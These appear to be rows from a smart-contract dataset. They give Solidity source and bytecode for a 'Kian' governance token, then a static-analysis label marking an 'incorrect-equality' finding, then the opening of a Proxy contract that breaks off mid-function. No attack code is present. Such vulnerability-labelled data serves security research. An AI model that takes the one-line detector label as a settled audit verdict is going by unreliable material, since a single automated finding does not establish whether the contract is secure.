DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new Kian token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Kian::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Kian::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Kian::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Kian::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Kian::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Kian::delegateBySig: invalid nonce"); require(now <= expiry, "Kian::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Kian::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Kian::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Kian::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Kian::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Kian::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Kian::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Kian::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Kian::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea5714610358578063c3cda52014610388578063dd62ed3e146103a4578063e7a324dc146103d4578063f1127ed8146103f257610121565b806370a082311461027a578063782d6fe1146102aa5780637ecebe00146102da57806395d89b411461030a578063a9059cbb1461032857610121565b806323b872dd116100f457806323b872dd146101b0578063313ce567146101e0578063587cde1e146101fe5780635c19a95c1461022e5780636fcfff451461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806320606b7014610192575b600080fd5b61012e610423565b60405161013b9190612866565b60405180910390f35b61015e6004803603610159919081019061214d565b61045c565b60405161016b9190612761565b60405180910390f35b61017c6105ee565b604051610189919061296a565b60405180910390f35b61019a6105fd565b6040516101a7919061277c565b60405180910390f35b6101ca60048036036101c591908101906120fe565b610614565b6040516101d79190612761565b60405180910390f35b6101e86108a6565b6040516101f591906129c9565b60405180910390f35b61021860048036036102139190810190612099565b6108ab565b6040516102259190612746565b60405180910390f35b61024860048036036102439190810190612099565b6108de565b005b610264600480360361025f9190810190612099565b6108eb565b6040516102719190612985565b60405180910390f35b610294600480360361028f9190810190612099565b61090e565b6040516102a1919061296a565b60405180910390f35b6102c460048036036102bf919081019061214d565b61097d565b6040516102d191906129ff565b60405180910390f35b6102f460048036036102ef9190810190612099565b610d90565b604051610301919061296a565b60405180910390f35b610312610da8565b60405161031f9190612866565b60405180910390f35b610342600480360361033d919081019061214d565b610de1565b60405161034f9190612761565b60405180910390f35b610372600480360361036d9190810190612099565b610e1e565b60405161037f91906129ff565b60405180910390f35b6103a2600480360361039d9190810190612189565b610f0c565b005b6103be60048036036103b991908101906120c2565b6111af565b6040516103cb919061296a565b60405180910390f35b6103dc61125b565b6040516103e9919061277c565b60405180910390f35b61040c60048036036104079190810190612212565b611272565b60405161041a9291906129a0565b60405180910390f35b6040518060400160405280600781526020017f4b69616e6974650000000000000000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156104af577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90506104d4565b6104d183604051806060016040528060258152602001612d1c602591396112cb565b90505b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516105db91906129e4565b60405180910390a3600191505092915050565b6a52b7d2dcc80cd2e400000081565b6040516106099061271c565b604051809103902081565b60008033905060008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006106d685604051806060016040528060258152602001612d1c602591396112cb565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561075057507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b1561088d57600061077a83836040518060600160405280603d8152602001612cdf603d9139611329565b9050806000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161088391906129e4565b60405180910390a3505b61089887878361139a565b600193505050509392505050565b601281565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108e8338261177b565b50565b60046020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b60004382106109c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b8906128ea565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610a2e576000915050610d8a565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b3057600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050610d8a565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610bb1576000915050610d8a565b600080905060006001830390505b8163ffffffff168163ffffffff161115610d0c576000600283830363ffffffff1681610be757fe5b0482039050610bf4612002565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415610ce457806020015195505050505050610d8a565b86816000015163ffffffff161015610cfe57819350610d05565b6001820392505b5050610bbf565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60056020528060005260406000206000915090505481565b6040518060400160405280600481526020017f4b49414e0000000000000000000000000000000000000000000000000000000081525081565b600080610e0683604051806060016040528060268152602001612c06602691396112cb565b9050610e1333858361139a565b600191505092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610e88576000610f04565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b6000604051610f1a9061271c565b60405180910390206040518060400160405280600781526020017f4b69616e6974650000000000000000000000000000000000000000000000000081525080519060200120610f6761193b565b30604051602001610f7b94939291906127dc565b6040516020818303038152906040528051906020012090506000604051610fa190612731565b6040518091039020888888604051602001610fbf9493929190612797565b60405160208183030381529060405280519060200120905060008282604051602001610fec9291906126e5565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516110299493929190612821565b6020604051602081039080840390855afa15801561104b573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110be906128ca565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914611156576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114d9061292a565b60405180910390fd5b87421115611199576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611190906128aa565b60405180910390fd5b6111a3818b61177b565b50505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b60405161126790612731565b604051809103902081565b6003602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c010000000000000000000000008310829061131f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113169190612888565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff161115829061138d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113849190612888565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561140a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114019061290a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561147a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114719061294a565b60405180910390fd5b6114f4600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060368152602001612bd060369139611329565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055506115db600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060308152602001612c8860309139611948565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116a591906129e4565b60405180910390a3611776600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836119be565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46119358284836119be565b50505050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff16101583906119b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a99190612888565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a0857506000816bffffffffffffffffffffffff16115b15611cb457600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b60576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611aab576000611b27565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611b4e8285604051806060016040528060288152602001612c6060289139611329565b9050611b5c86848484611cb9565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611cb3576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611bfe576000611c7a565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611ca18285604051806060016040528060278152602001612cb860279139611948565b9050611caf85848484611cb9565b5050505b5b505050565b6000611cdd43604051806060016040528060348152602001612c2c60349139611fac565b905060008463ffffffff16118015611d7257508063ffffffff16600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611e0d5781600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611f55565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611f9d929190612a1a565b60405180910390a25050505050565b600064010000000083108290611ff8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fef9190612888565b60405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff1681525090565b60008135905061203f81612b5c565b92915050565b60008135905061205481612b73565b92915050565b60008135905061206981612b8a565b92915050565b60008135905061207e81612ba1565b92915050565b60008135905061209381612bb8565b92915050565b6000602082840312156120ab57600080fd5b60006120b984828501612030565b91505092915050565b600080604083850312156120d557600080fd5b60006120e385828601612030565b92505060206120f485828601612030565b9150509250929050565b60008060006060848603121561211357600080fd5b600061212186828701612030565b935050602061213286828701612030565b92505060406121438682870161205a565b9150509250925092565b6000806040838503121561216057600080fd5b600061216e85828601612030565b925050602061217f8582860161205a565b9150509250929050565b60008060008060008060c087890312156121a257600080fd5b60006121b089828a01612030565b96505060206121c189828a0161205a565b95505060406121d289828a0161205a565b94505060606121e389828a01612084565b93505060806121f489828a01612045565b92505060a061220589828a01612045565b9150509295509295509295565b6000806040838503121561222557600080fd5b600061223385828601612030565b92505060206122448582860161206f565b9150509250929050565b61225781612a75565b82525050565b61226681612a87565b82525050565b61227581612a93565b82525050565b61228c61228782612a93565b612b41565b82525050565b600061229d82612a4e565b6122a78185612a59565b93506122b7818560208601612b0e565b6122c081612b4b565b840191505092915050565b60006122d682612a43565b6122e08185612a59565b93506122f0818560208601612b0e565b6122f981612b4b565b840191505092915050565b6000612311602683612a59565b91507f4b69616e3a3a64656c656761746542795369673a207369676e6174757265206560008301527f78706972656400000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612377602683612a59565b91507f4b69616e3a3a64656c656761746542795369673a20696e76616c69642073696760008301527f6e617475726500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006123dd600283612a6a565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b600061241d604383612a6a565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b60006124a9602783612a59565b91507f4b69616e3a3a6765745072696f72566f7465733a206e6f74207965742064657460008301527f65726d696e6564000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061250f603c83612a59565b91507f4b69616e3a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e736665722066726f6d20746865207a65726f2061646472657373000000006020830152604082019050919050565b6000612575602283612a59565b91507f4b69616e3a3a64656c656761746542795369673a20696e76616c6964206e6f6e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006125db603a83612a6a565b91507f44656c65676174696f6e28616464726573732064656c6567617465652c75696e60008301527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020830152603a82019050919050565b6000612641603a83612a59565b91507f4b69616e3a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e7366657220746f20746865207a65726f20616464726573730000000000006020830152604082019050919050565b6126a381612abd565b82525050565b6126b281612ac7565b82525050565b6126c181612ad7565b82525050565b6126d081612afc565b82525050565b6126df81612ae4565b82525050565b60006126f0826123d0565b91506126fc828561227b565b60208201915061270c828461227b565b6020820191508190509392505050565b600061272782612410565b9150819050919050565b600061273c826125ce565b9150819050919050565b600060208201905061275b600083018461224e565b92915050565b6000602082019050612776600083018461225d565b92915050565b6000602082019050612791600083018461226c565b92915050565b60006080820190506127ac600083018761226c565b6127b9602083018661224e565b6127c6604083018561269a565b6127d3606083018461269a565b95945050505050565b60006080820190506127f1600083018761226c565b6127fe602083018661226c565b61280b604083018561269a565b612818606083018461224e565b95945050505050565b6000608082019050612836600083018761226c565b61284360208301866126b8565b612850604083018561226c565b61285d606083018461226c565b95945050505050565b6000602082019050818103600083015261288081846122cb565b905092915050565b600060208201905081810360008301526128a28184612292565b905092915050565b600060208201905081810360008301526128c381612304565b9050919050565b600060208201905081810360008301526128e38161236a565b9050919050565b600060208201905081810360008301526129038161249c565b9050919050565b6000602082019050818103600083015261292381612502565b9050919050565b6000602082019050818103600083015261294381612568565b9050919050565b6000602082019050818103600083015261296381612634565b9050919050565b600060208201905061297f600083018461269a565b92915050565b600060208201905061299a60008301846126a9565b92915050565b60006040820190506129b560008301856126a9565b6129c260208301846126d6565b9392505050565b60006020820190506129de60008301846126b8565b92915050565b60006020820190506129f960008301846126c7565b92915050565b6000602082019050612a1460008301846126d6565b92915050565b6000604082019050612a2f60008301856126c7565b612a3c60208301846126c7565b9392505050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000612a8082612a9d565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000612b0782612ae4565b9050919050565b60005b83811015612b2c578082015181840152602081019050612b11565b83811115612b3b576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b612b6581612a75565b8114612b7057600080fd5b50565b612b7c81612a93565b8114612b8757600080fd5b50565b612b9381612abd565b8114612b9e57600080fd5b50565b612baa81612ac7565b8114612bb557600080fd5b50565b612bc181612ad7565b8114612bcc57600080fd5b5056fe4b69616e3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63654b69616e3a3a7472616e736665723a20616d6f756e74206578636565647320393620626974734b69616e3a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974734b69616e3a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f77734b69616e3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77734b69616e3a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f77734b69616e3a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e63654b69616e3a3a617070726f76653a20616d6f756e7420657863656564732039362062697473a365627a7a723158209b5d02b48a7447449bb41b29121147f666b1312e4d51ad374a81f42baa5583d56c6578706572696d656e74616cf564736f6c63430005110040
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
6,701
0x4fe836b28adc7867290764885b24d3992daee819
/** *Submitted for verification at Etherscan.io on 2021-05-17 */ /** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. 